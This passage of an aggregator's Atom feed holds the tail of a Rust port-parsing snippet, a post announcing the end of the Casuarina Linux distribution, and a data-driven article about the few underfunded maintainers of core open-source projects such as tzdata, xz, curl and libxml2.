syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;syntax-keyword syntax-control syntax-rust&quot;&gt;if&lt;/span&gt; port &lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;syntax-keyword syntax-operator syntax-rust&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;syntax-constant syntax-numeric syntax-integer syntax-decimal syntax-rust&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;syntax-keyword syntax-control syntax-rust&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;syntax-support syntax-type syntax-rust&quot;&gt;Err&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;ZeroPort &lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-begin syntax-rust&quot;&gt;{&lt;/span&gt; input&lt;span class=&quot;syntax-punctuation syntax-separator syntax-rust&quot;&gt;:&lt;/span&gt; input.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;into&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;.&lt;span class=&quot;syntax-support syntax-function syntax-rust&quot;&gt;union&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;syntax-punctuation syntax-terminator syntax-rust&quot;&gt;;&lt;/span&gt;
    &lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;syntax-support syntax-type syntax-rust&quot;&gt;Ok&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-begin syntax-rust&quot;&gt;(&lt;/span&gt;port&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-group syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-group syntax-end syntax-rust&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;syntax-meta syntax-block syntax-rust&quot;&gt;&lt;span class=&quot;syntax-punctuation syntax-section syntax-block syntax-end syntax-rust&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:3f7531473496130a2017c93792e73d9bf55d8d5b</id>
    <title type="text">Ending the Casuarina Linux Experiment</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-08-ending-the-casuarina-linux-experiment/"/>
    <link rel="via" type="text/html" href="https://casuarina.org/news/ending-the-casuarina-linux-experiment/"/>
    <published>2026-10-08T13:08:00+00:00</published>
    <updated>2026-10-08T13:08:00+00:00</updated>
    <author>
      <name>casuarina.org via FedericoSchonborn</name>
    </author>
    <category term="news"/>
    <category term="linux"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;by &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.wezm.net/&quot;&gt;Wesley Moore&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I didn’t expect this to be the second post after the announcement, but here we are. The short version is that I’ve decided to wind down the Casuarina Linux project. Things will continue as-is until the end of October 2026. After which, depending how my migration to another distro has gone, package updates will stop. The infrastructure will remain up until the end of 2026, after which I may retire some things. There are no plans to retire the package repo or website for now.&lt;/p&gt;
&lt;h2&gt;So how did we get here?&lt;/h2&gt;
&lt;p&gt;As alluded to &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://casuarina.org/faq/#are-you-qualified-to-build-a-distro&quot;&gt;in the Q&amp;amp;A&lt;/a&gt; I am &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://knowyourmeme.com/memes/i-have-no-idea-what-im-doing&quot;&gt;the proverbial dog&lt;/a&gt; that has no idea what I’m doing. I thought that after I fought through all the changes to bootstrap the system most of the hard stuff was done, and that from then on maintenance would mostly be updating packages. I also expected that the distro would pique the interest of at least a couple of other people and we could share the load of keeping things moving, but that didn’t happen.&lt;/p&gt;
&lt;p&gt;In practice what happened was that on launch day it was brought to my attention that C++ standard libraries can’t co-exist. My setup of building everything against LLVM’s &lt;code&gt;libc++&lt;/code&gt;, whilst providing GNU &lt;code&gt;libstdc++&lt;/code&gt; for compatibility was not guaranteed to work properly if an application ended up loading both. In practice the one proprietary application I used that was exposed to this (Beyond Compare) worked fine. Still it was something that needed fixing.&lt;/p&gt;
&lt;p&gt;Additionally, on the same day q66 (the creator of Chimera Linux) &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://gts.q66.moe/@q66/statuses/01KS041CQA3H3CTZSA3TA9AK8T&quot;&gt;posted some thoughts “about chimera and glibc compatibility woes”&lt;/a&gt;. It was insightful and full of wisdom. There were two parts that really stuck with me:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;OR, you can just accept things as they are and help work towards making the stuff you want work&lt;/p&gt;
&lt;p&gt;in userland, you have containers etc which you can use to get stuff that doesn’t work yet to work (or for proprietary software), and there are ways to make that pretty seamless&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;i’d much rather like to see the work go into improving what we have&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;and:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;but i can’t be totally happy about it because it’s sort of taking apart stuff i put a lot of thought into and in the process turns it into something i explicitly wanted to avoid&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The latter in particular was not a way I’d thought about it from their perspective before. It made a lot of sense when faced with having to swap &lt;code&gt;libc++&lt;/code&gt; for &lt;code&gt;libstdc++&lt;/code&gt;, and when reflecting on the changes that were necessary to bootstrap the system. Such as bringing &lt;code&gt;gcc&lt;/code&gt;, &lt;code&gt;gmp&lt;/code&gt;, &lt;code&gt;mpc&lt;/code&gt;, &lt;code&gt;mpfr&lt;/code&gt;, and GNU &lt;code&gt;binutils&lt;/code&gt; into the bootstrap path (in addition to LLVM). There were also things that were lost, like cross-compilation and fully static binaries (&lt;code&gt;apk&lt;/code&gt; in particular).&lt;/p&gt;
&lt;p&gt;All of this continued to rattle around in the back of my mind while I’ve used the system to do my day job, and stayed on top of pulling package updates from Chimera over the last four months. In that time I did not muster the motivation to address the C++ standard library situation though, nor some other issues that I ran into.&lt;/p&gt;
&lt;p&gt;Also as time went on I became less convinced I actually wanted other people to use the system. Each additional user is another person that may bring &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forum.casuarina.org/viewtopic.php?t=7&quot;&gt;legit problems&lt;/a&gt; to my attention that I haven’t worked out how to fix, or don’t really want to allocate time to when I have free time.&lt;/p&gt;
&lt;p&gt;In hindsight some of this was 100% foreseeable. Why did I even make the thing public if I didn’t want people to use it? I guess I hadn’t fully thought it through. It was working great for me, surely it would be the same for others. Obviously this was naïve, which I know now.&lt;/p&gt;
&lt;h2&gt;Ending the experiment&lt;/h2&gt;
&lt;p&gt;From the start Casuarina was described as “experimental but usable”, so I am now declaring the experiment over. I increased my understanding of all sorts of things about how a distro is built, how it works, some of pros and cons of glibc, debugging build failures, segfaults, Buildbot, and much more. I also had a lot of fun building the website. While I gained a lot of knowledge it’s clear I still have plenty to learn, and don’t feel equipped to be the primary maintainer of a distro that other people use.&lt;/p&gt;
&lt;p&gt;So for now this is the end of the road for Casuarina. My current plan is to migrate my primary desktop (that I use for work as well personal computing) to Chimera, and switch to that from the end of October 2026. From then I’ll stop doing Casuarina package updates. I’ll make the forum read-only, and update the website to make it clear the experiment is over. The rest of the infrastructure will stay up until the end of 2026, after which some of it may be retired/repurposed. I plan to keep the package repo and website online for the foreseeable future.&lt;/p&gt;
&lt;p&gt;Happy computing.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;WM&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:b8cf465a5c056e225cd917a9fdb828a35ce8fddb</id>
    <title type="text">The people holding up the internet</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-08-the-people-holding-up-the-internet/"/>
    <link rel="via" type="text/html" href="https://sheets.works/data-viz/holding-up-the-internet"/>
    <published>2026-10-08T08:18:39+00:00</published>
    <updated>2026-10-08T08:18:39+00:00</updated>
    <author>
      <name>sheets.works via eaj</name>
    </author>
    <category term="news"/>
    <category term="historical"/>
    <category term="web"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Billions of phones run on code looked after by a handful of people. We counted them from the code itself.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sheets.works/data-viz/holding-up-the-internet/read&quot;&gt;Read it as a plain page&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Your alarm, a boarding pass, a meeting in another country, the day your salary lands: anything on your phone that shows a time has to know where you are. Underneath sit every Android phone, every iPhone and most of the servers on the internet. They all get local time from one text file, the time zone database, which holds every clock rule a government has ever announced. Paul Eggert, a lecturer at UCLA, keeps that file up to date in his spare time.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://sheets.works/assets/holding-up-the-internet/img/eggert.png&quot; alt=&quot;Paul Eggert on a video call, wearing headphones, at home&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;figcaption&gt;Paul Eggert giving a talk on the time zone database, LibrePlanet 2022. Free Software Foundation, CC BY-SA 3.0.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;Paul Eggert&lt;/h2&gt;
&lt;p&gt;Teaches computer science at UCLA, and has been the official coordinator of the time zone file since 2012.&lt;/p&gt;
&lt;p&gt;4,000,000,000&lt;/p&gt;
&lt;p&gt;Android phones and iPhones use his file. We didn&#39;t count servers, Macs or laptops, which would push the number higher.&lt;/p&gt;
&lt;p&gt;Your phone&#39;s time zone, as the file has it today&lt;/p&gt;
&lt;p&gt;On 29 September Paul put out version 2026e of the file. The first line of its notes says that Manitoba moves to permanent -05 on 31 October, which tells phones in Winnipeg not to set their clocks back on 1 November, and it was typed in by two volunteers a month ahead. Of the 251 changes made to the file in the last year, 218 were his and 28 were Tim Parenti&#39;s.&lt;/p&gt;
&lt;p&gt;In 2011 an astrology software company sued Paul and Arthur Olson, who started the file in 1986 at the National Institutes of Health, claiming some of its history came from an atlas the company owned. The file&#39;s mailing list and download site were switched off until IANA, which keeps the internet&#39;s master lists, took them over later that month. The Electronic Frontier Foundation defended them for free, and the company dropped the case in February 2012.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“In case I am no longer available due to retirement or whatever.”&lt;/p&gt;
&lt;p&gt;Paul Eggert, asking the tz mailing list to make Tim Parenti his backup, 20 May 2020&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I also make a daily word game. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sheets.works/long-story-short?r=hold_eggert&amp;amp;utm_source=holding-up-the-internet&amp;amp;utm_medium=drop&amp;amp;utm_content=eggert&quot;&gt;Play today’s sentence&lt;/a&gt;. About two minutes.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://xkcd.com/2347/&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://imgs.xkcd.com/comics/dependency.png&quot; alt=&quot;xkcd 2347, Dependency: a tower of blocks labelled all modern digital infrastructure, resting on one small block labelled a project some random person in Nebraska has been thanklessly maintaining since 2003&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;figcaption&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://xkcd.com/2347/&quot;&gt;Dependency&lt;/a&gt;, Randall Munroe, xkcd 2347. CC BY-NC 2.5, colours inverted.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;People post this comic whenever something breaks. The tower is labelled &amp;quot;all modern digital infrastructure&amp;quot; and it stands on one small block, &amp;quot;a project some random person in Nebraska has been thanklessly maintaining since 2003&amp;quot;.&lt;/p&gt;
&lt;p&gt;We wanted to know how close to true it is. We downloaded the full history of 23 pieces of software that phones, browsers and servers depend on, and counted everyone who made ten or more changes to each one between October 2025 and October 2026. Then we listed what is actually installed on an Android phone, an iPhone and a Windows PC.&lt;/p&gt;
&lt;p&gt;11 of 23&lt;/p&gt;
&lt;p&gt;projects had one or two people doing the regular work.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“It&#39;s also good to keep in mind that this is an unpaid hobby project.”&lt;/p&gt;
&lt;p&gt;Lasse Collin, xz mailing list, 8 June 2022&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Lasse Collin&lt;/h2&gt;
&lt;p&gt;Lives in Finland and looks after xz, the compression tool on almost every Linux server and inside every iPhone.&lt;/p&gt;
&lt;p&gt;He wrote that line in the same email where he said his ability to care had been &amp;quot;fairly limited mostly due to longterm mental health issues&amp;quot;. For months, accounts calling themselves Jigar Kumar and Dennis Ens had been posting to the list about how slowly things were moving, and a contributor called Jia Tan had been sending useful fixes.&lt;/p&gt;
&lt;p&gt;Lasse gave Jia Tan more access. In 2023 Jia Tan made 304 changes to xz and Lasse made 172, which is the red on the wall below. In February 2024 the versions Jia Tan released carried a hidden way into Linux servers. Andres Freund, an engineer at Microsoft, found it on 29 March because his logins were using more processor time than they should, before most Linux systems had shipped it. Nobody has found out who Jia Tan is.&lt;/p&gt;
&lt;p&gt;Lasse Collin Jia Tan everyone else&lt;/p&gt;
&lt;p&gt;Every change to xz since January 2021, one square each. In 2021 almost all of them are Lasse&#39;s. 28 January 2022: the first change written by Jia Tan goes in. By 2023 Jia Tan is making more changes than Lasse, 304 to his 172. February 2024: Jia Tan releases two versions with the backdoor inside. Andres Freund finds it on 29 March. After that it is Lasse on his own again, and in 2025 he wrote 97 percent of the changes.&lt;/p&gt;
&lt;p&gt;$57 a month&lt;/p&gt;
&lt;p&gt;was what Denis Pushkarev raised when he asked for donations to keep core-js going.&lt;/p&gt;
&lt;h2&gt;Denis Pushkarev&lt;/h2&gt;
&lt;p&gt;Wrote core-js, which lets new JavaScript work in old browsers. By his own count it runs on about half of the thousand busiest websites in the world.&lt;/p&gt;
&lt;p&gt;In 2019 he was working on core-js full time without pay, living in Russia because it was cheaper. By his own account, three weeks after a big release he was driving home at 3 a.m. when two young women on a dark road ended up under his car, and one of them died. The families asked for about $80,000, and the prosecutor asked for seven years.&lt;/p&gt;
&lt;p&gt;He added a message that appeared in the terminal every time anyone installed core-js, asking for help or a job. Millions of developers saw it, and many of them complained about the message. He went to prison in January 2020 and was released early, about ten months later.&lt;/p&gt;
&lt;p&gt;Denis Pushkarev everyone else&lt;/p&gt;
&lt;p&gt;Every change to core-js, week by week, from June 2019. Nearly all of them are his. December 2019: 101 changes in a month. In January 2020 he goes to prison, and the weeks after that stay almost empty. October 2020: he is out and back at work. Downloads nearly doubled while he was inside. This year he wrote 95 percent of the changes, and he has two sponsors on GitHub.&lt;/p&gt;
&lt;p&gt;5,408 of 5,409&lt;/p&gt;
&lt;p&gt;changes to sudo between 2008 and 2018 were made by Todd Miller.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“I&#39;m currently in search of a sponsor to fund continued sudo maintenance and development.”&lt;/p&gt;
&lt;p&gt;Todd C. Miller, millert.dev, February 2026&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Todd Miller&lt;/h2&gt;
&lt;p&gt;Has maintained sudo, the command that gives you admin rights on a Mac or a Linux server, since the early 1990s.&lt;/p&gt;
&lt;p&gt;Sudo was first written around 1980 at SUNY Buffalo, and Todd has looked after it for longer than Linux has existed. After The Register wrote about his note in February, the project&#39;s Open Collective budget reached about $61,700 a year and 30 people sponsored it on GitHub, which makes sudo the best funded one-person project in our count.&lt;/p&gt;
&lt;p&gt;Text inside libjpeg.so, read off an Android 16 phone&lt;/p&gt;
&lt;p&gt;Copyright (C) 1991-2022 The libjpeg-turbo Project and many others&lt;/p&gt;
&lt;h2&gt;DRC&lt;/h2&gt;
&lt;p&gt;Runs libjpeg-turbo, which opens every JPEG on Android phones and in Chrome and Edge, and signs his emails with his initials.&lt;/p&gt;
&lt;p&gt;He started it in 2010 by taking the JPEG code from the 1990s and making it two to six times faster, and in 2019 it became the reference version of JPEG for the ISO and the ITU. He runs it on his own as a small business, which the project describes as &amp;quot;sustained solely through patronage and funded development&amp;quot;. At one point he wrote that it had general funding &amp;quot;for about 8-10 hours of labor per month&amp;quot;. This year he wrote 98 percent of the changes.&lt;/p&gt;
&lt;p&gt;A B C D&lt;/p&gt;
&lt;h2&gt;The SQLite team&lt;/h2&gt;
&lt;p&gt;Four people changed SQLite in the last year. It is in every Android phone, every iPhone, every Mac, every copy of Windows 10 and 11 and every major browser.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“There are a lot of crazy people in the world who might misuse that information.”&lt;/p&gt;
&lt;p&gt;sqlite.org, on why the page with the developers&#39; names and photos was taken down&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;D. Richard Hipp wrote SQLite in 2000 after working on software for a US Navy destroyer, where the database kept failing whenever a separate server went down, so he made one that lives in a single file. When you open WhatsApp, your chats load from one. The project&#39;s own estimate is over a trillion SQLite databases in use, and the team pays for the work by selling support through Hipp&#39;s company.&lt;/p&gt;
&lt;p&gt;If you want two minutes away from the squares, &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://sheets.works/long-story-short?r=hold_sqlite&amp;amp;utm_source=holding-up-the-internet&amp;amp;utm_medium=drop&amp;amp;utm_content=sqlite&quot;&gt;play today’s Long Story Short&lt;/a&gt;, one true story cut to five of its own words.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://sheets.works/assets/holding-up-the-internet/img/adler.jpg&quot; alt=&quot;Mark Adler at the Jet Propulsion Laboratory, wearing a lab lanyard&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;figcaption&gt;Mark Adler at the Jet Propulsion Laboratory, 2002. NASA, public domain.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;Mark Adler&lt;/h2&gt;
&lt;p&gt;Wrote zlib with Jean-loup Gailly in 1995. In his other job he managed NASA&#39;s Spirit rover on its way to Mars.&lt;/p&gt;
&lt;p&gt;zlib makes files smaller. It is inside PNG images, web pages, Git, Android, iPhones and Chrome, and Debian counts it on 291,615 of the machines that report to it, effectively every one. In the last year two people did most of the work, Mark and a contributor who goes by Vollstrecker. Mark has no sponsor page, and zlib is not on any public funding list we checked.&lt;/p&gt;
&lt;p&gt;25 years&lt;/p&gt;
&lt;p&gt;between the line that became Shellshock going into bash and anyone reporting it.&lt;/p&gt;
&lt;h2&gt;Chet Ramey&lt;/h2&gt;
&lt;p&gt;Has maintained bash, the shell on Linux and on Macs from 2003 to 2019, since about 1990, alongside his job in the network group at Case Western Reserve University in Ohio.&lt;/p&gt;
&lt;p&gt;In September 2014 Stéphane Chazelas reported a bug in bash to Chet. Anyone could use it to run commands on a server by sending it a specially shaped piece of text, and on 24 September it went public as Shellshock, on hundreds of millions of machines. The line behind it had gone into bash on 5 August 1989. Every change in bash&#39;s public history is Chet&#39;s, including the official fixes.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://sheets.works/assets/holding-up-the-internet/img/behdad.jpg&quot; alt=&quot;Behdad Esfahbod, black and white portrait&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;figcaption&gt;Behdad Esfahbod, 2016. CC0.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;Behdad Esfahbod&lt;/h2&gt;
&lt;p&gt;Rewrote HarfBuzz, which decides how letters join and sit for Android, Chrome, Firefox, Edge, the Kindle and Figma.&lt;/p&gt;
&lt;p&gt;हिन्दी&lt;/p&gt;
&lt;p&gt;with HarfBuzz&lt;/p&gt;
&lt;p&gt;the same letters, unshaped&lt;/p&gt;
&lt;p&gt;مرحبا&lt;/p&gt;
&lt;p&gt;with HarfBuzz&lt;/p&gt;
&lt;p&gt;the same letters, unshaped&lt;/p&gt;
&lt;p&gt;For English the job is mostly simple. In Hindi, Arabic, Tamil and most of the world&#39;s writing, letters change shape depending on their neighbours, and without shaping a word comes out as a row of pieces. Behdad started the rewrite around 2012 while he was at Google. This year he wrote 85 percent of the changes, with five other people doing regular work.&lt;/p&gt;
&lt;figure class=&quot;article-figure&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://sheets.works/assets/holding-up-the-internet/img/stenberg.jpg&quot; alt=&quot;Daniel Stenberg, portrait&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;figcaption&gt;Daniel Stenberg, 2015. Photo by Daniel Stenberg, CC BY 4.0.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;h2&gt;Daniel Stenberg&lt;/h2&gt;
&lt;p&gt;Started curl in Sweden in 1996. It moves data for phones, cars, TVs and Windows, which has shipped it since 2018.&lt;/p&gt;
&lt;p&gt;This year eleven people did regular work on curl. Viktor Szakats made the most changes, then Daniel, then Stefan Eissing with 445. In his review of 2025 Daniel wrote that everyone else has now added more lines to curl than he has. He works on it full time because companies pay for support, the project takes in about $89,700 a year through Open Collective, and Germany&#39;s public fund for open source paid €195,000 for work on it.&lt;/p&gt;
&lt;p&gt;Every change to curl in the last twelve months, by week, one colour per person who made ten or more. Hover a square to read the change.&lt;/p&gt;
&lt;h3&gt;Heartbleed&lt;/h3&gt;
&lt;p&gt;OpenSSL puts the padlock on a large share of the web. In April 2014 a bug called Heartbleed let anyone read passwords and private keys out of the memory of about 17 percent of trusted secure servers, by Netcraft&#39;s count. That week the OpenSSL foundation&#39;s president, Steve Marquess, wrote that it received about $2,000 a year in donations, and he told NPR that one person worked on it full time.&lt;/p&gt;
&lt;p&gt;Within two months the Linux Foundation raised $5.4 million from technology companies, and OpenSSL got two paid developers and an audit. It had six people doing regular work in 2013 and fourteen in 2014.&lt;/p&gt;
&lt;p&gt;People who made ten or more changes that year OpenSSL xz&lt;/p&gt;
&lt;p&gt;Before 2014 OpenSSL has three to seven people a year doing regular work, and xz has one. After Heartbleed in April 2014 the money arrives, and OpenSSL goes from six people to fourteen. March 2024: the xz backdoor is found, and no new money follows that we could find. In 2026 OpenSSL has 32 people doing regular work, and xz has one.&lt;/p&gt;
&lt;h3&gt;The money&lt;/h3&gt;
&lt;p&gt;Germany&#39;s Sovereign Tech Agency has funded about ninety open source projects since 2022, and the Alpha-Omega fund gave out nearly $6 million last year, much of it to security engineers at foundations like Python&#39;s and Ruby&#39;s. Both give money to organisations that can apply for it and report on it.&lt;/p&gt;
&lt;p&gt;Funded by the Sovereign Tech Agency&lt;/p&gt;
&lt;p&gt;log4j€&lt;strong&gt;596,160&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;FFmpeg€&lt;strong&gt;437,930&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;OpenSSL€&lt;strong&gt;405,888&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;OpenSSH€&lt;strong&gt;200,000&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;curl€&lt;strong&gt;195,000&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;No public grant we could find&lt;/p&gt;
&lt;p&gt;The time zone database€&lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SQLite€&lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;zlib€&lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;libjpeg-turbo€&lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;HarfBuzz€&lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;xz€&lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;bash€&lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;nghttp2€&lt;strong&gt;0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Some projects found money elsewhere. Nick Wellnhofer raised a low six-figure sum over the ten years he maintained libxml2, and since August 2026 the City of Munich has been paying Sebastian Pipping to work on expat for up to six months. On GitHub Sponsors, Daniel Stenberg has 64 sponsors. Paul Eggert, Lasse Collin, DRC and Mark Adler do not have a sponsor page.&lt;/p&gt;
&lt;p&gt;From libxml2&#39;s README, until December 2025&lt;/p&gt;
&lt;p&gt;“This is open-source software written by hobbyists, maintained by a single volunteer, badly tested, written in a memory-unsafe language and full of security bugs.”&lt;/p&gt;
&lt;p&gt;libxml2 is on 5.6 billion phones and computers.&lt;/p&gt;
&lt;p&gt;libxml2 reads XML, the format behind a lot of documents, feeds and settings, and it is on Android phones, iPhones and in Chrome. Nick Wellnhofer maintained it for about ten years. In September 2025 he announced that he was stepping down, kept fixing regressions until he took himself off the maintainers list in December, and about twelve hours later new maintainers were added. Daniel Garcia Moreno has done most of the work since.&lt;/p&gt;
&lt;p&gt;Nick Wellnhofer Daniel Garcia Moreno everyone else&lt;/p&gt;
&lt;p&gt;Every change to libxml2 from June 2025, week by week. September 2025: Nick Wellnhofer announces he is stepping down, and keeps fixing regressions until December. December: Nick takes himself off the maintainers list, new maintainers are added within a day, and Daniel Garcia Moreno takes over the work. libxml2 is on 5.6 billion phones and computers.&lt;/p&gt;
&lt;p&gt;The first line of the notes for version 2026e of the file, released by Paul Eggert on 29 September 2026&lt;/p&gt;
&lt;p&gt;Our daily game&lt;/p&gt;
&lt;h3&gt;Long Story Short&lt;/h3&gt;
&lt;p&gt;Every day there is one true news story, and you cut its sentence down to five of its own words. It takes about two minutes.&lt;/p&gt;
